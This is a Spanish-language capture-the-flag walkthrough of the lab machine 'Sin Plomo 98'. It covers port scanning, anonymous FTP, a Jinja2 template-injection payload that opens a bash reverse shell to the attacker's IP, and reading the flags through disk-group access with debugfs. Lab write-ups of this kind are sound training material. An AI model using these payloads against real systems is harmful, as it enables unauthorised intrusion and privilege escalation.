> For the complete documentation index, see [llms.txt](https://galizaragozadev.gitbook.io/galizaragozadev-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://galizaragozadev.gitbook.io/galizaragozadev-docs/the-hackers-labs/sin-plomo-98-avanzado.md).

# Sin Plomo 98 (Avanzado)

Una vez tenemos la IP de la máquina objetivo, realizamos un reconocimiento inicial

```sh
nmap -p- -sT -A -T5 192.168.1.160 -oN allPorts

21/tcp   open  ftp     vsftpd 3.0.3  
| ftp-syst:    
|   STAT:    
| FTP server status:  
|      Connected to ::ffff:192.168.1.140  
|      Logged in as ftp  
|      TYPE: ASCII  
|      No session bandwidth limit  
|      Session timeout in seconds is 300  
|      Control connection is plain text  
|      Data connections will be plain text  
|      At session startup, client count was 3  
|      vsFTPd 3.0.3 - secure, fast, stable  
|_End of status  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
|_-rw-r--r--    1 0        0              34 May 16  2024 supermegaultraimportantebro.txt  
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)  
| ssh-hostkey:    
|   256 f4:f1:61:c9:94:fe:27:41:8c:63:56:28:06:a1:12:5f (ECDSA)  
|_  256 3c:13:58:8b:6b:5a:16:0b:69:aa:1e:3a:40:57:21:91 (ED25519)  
80/tcp   open  http    Apache httpd 2.4.59 ((Debian))  
|_http-server-header: Apache/2.4.59 (Debian)  
|_http-title: Knight Bootstrap Template - Index  
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.11.2)  
|_http-title: \xC2\xA1Mi P\xC3\xA1gina Web!  
|_http-server-header: Werkzeug/3.0.3 Python/3.11.2
```

Lo primero que llama la atención es el servidor FTP que permite entrar como *ftp*. Al iniciar sesión veo un archivo y me lo traigo a la máquina atacante.

```sh
ftp 192.168.1.160  
Connected to 192.168.1.160.  
220 (vsFTPd 3.0.3)  
Name (192.168.1.160:kali): ftp  
331 Please specify the password.  
Password:    
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> ls  
229 Entering Extended Passive Mode (|||27394|)  
150 Here comes the directory listing.  
-rw-r--r--    1 0        0              34 May 16  2024 supermegaultraimportantebro.txt  
226 Directory send OK.  
ftp> get supermegaultraimportantebro.txt  
local: supermegaultraimportantebro.txt remote: supermegaultraimportantebro.txt  
229 Entering Extended Passive Mode (|||53378|)  
150 Opening BINARY mode data connection for supermegaultraimportantebro.txt (34 bytes).  
100% |*************************************************************************************************|    34      291.25 KiB/s    00:00 ETA  
226 Transfer complete.  
34 bytes received in 00:00 (53.55 KiB/s)  
ftp> exit  
221 Goodbye.
```

Pero no contiene nada relevante.

```sh
cat supermegaultraimportantebro.txt    
Gracias por venir, ahora vayase!!
```

## Werkzeug

Lo siguiente que me llama la atención es el servidor corriendo el puerto 5000, al visitarlo y revisar el código fuente, veo que la última línea es un comentario con lo que parece un endpoint.

```sh
curl http://192.168.1.160:5000/ | tail -n 1  
                      0  
<!-- /petrolhead -->
```

Al visitarlo, veo un formulario sencillo. Werkzeug es un framework web para hacer aplicaciones con Python, así que lo primero que me viene a la mente es probar un SSTI. Y funciona a la primera. Si ponemos `{{7*7}}` en el formulario y le damos a enter, se puede ver como el navegador nos muestra el resultado de la operación.

```sh
curl http://192.168.1.160:5000/petrolhead -d 'user_input=hola'       
hola 

curl http://192.168.1.160:5000/petrolhead -d 'user_input={{7*7}}'  
49
```

## RCE

Entonces, pongo una terminal en escucha con `penelope -p 444` y pongo como input el siguiente código Python, que me dará una reverse shell.

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen("bash -c 'bash -  
i >& /dev/tcp/192.168.1.140/444 0>&1'").read() }}
```

```sh
tcuser@SinPLomo98:~/prueba$ id  
uid=1000(tcuser) gid=1000(tcuser) grupos=1000(tcuser),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netd  
ev)
```

## Escalada

Al ejecutar disk, vemos que el usuario está en el grupo `disk`. Esto habilita algunos métodos de escalada, pero ni siquiera hacen falta porque gracias a los privilegios de dicho grupo podemos leer las flags.

```sh
tcuser@SinPLomo98:~$ df -h  
S.ficheros     Tamaño Usados  Disp Uso% Montado en  
udev             962M      0  962M   0% /dev  
tmpfs            197M   524K  197M   1% /run  
/dev/sda1         19G   2,3G   16G  14% /  
tmpfs            984M      0  984M   0% /dev/shm  
tmpfs            5,0M      0  5,0M   0% /run/lock  
tcuser@SinPLomo98:~$ debugfs /dev/sda1  
debugfs 1.47.0 (5-Feb-2023)  
debugfs:  cat /home/tcuser/user.txt    
**************  
debugfs:  cat /root/root.txt  
**************  
debugfs:
```
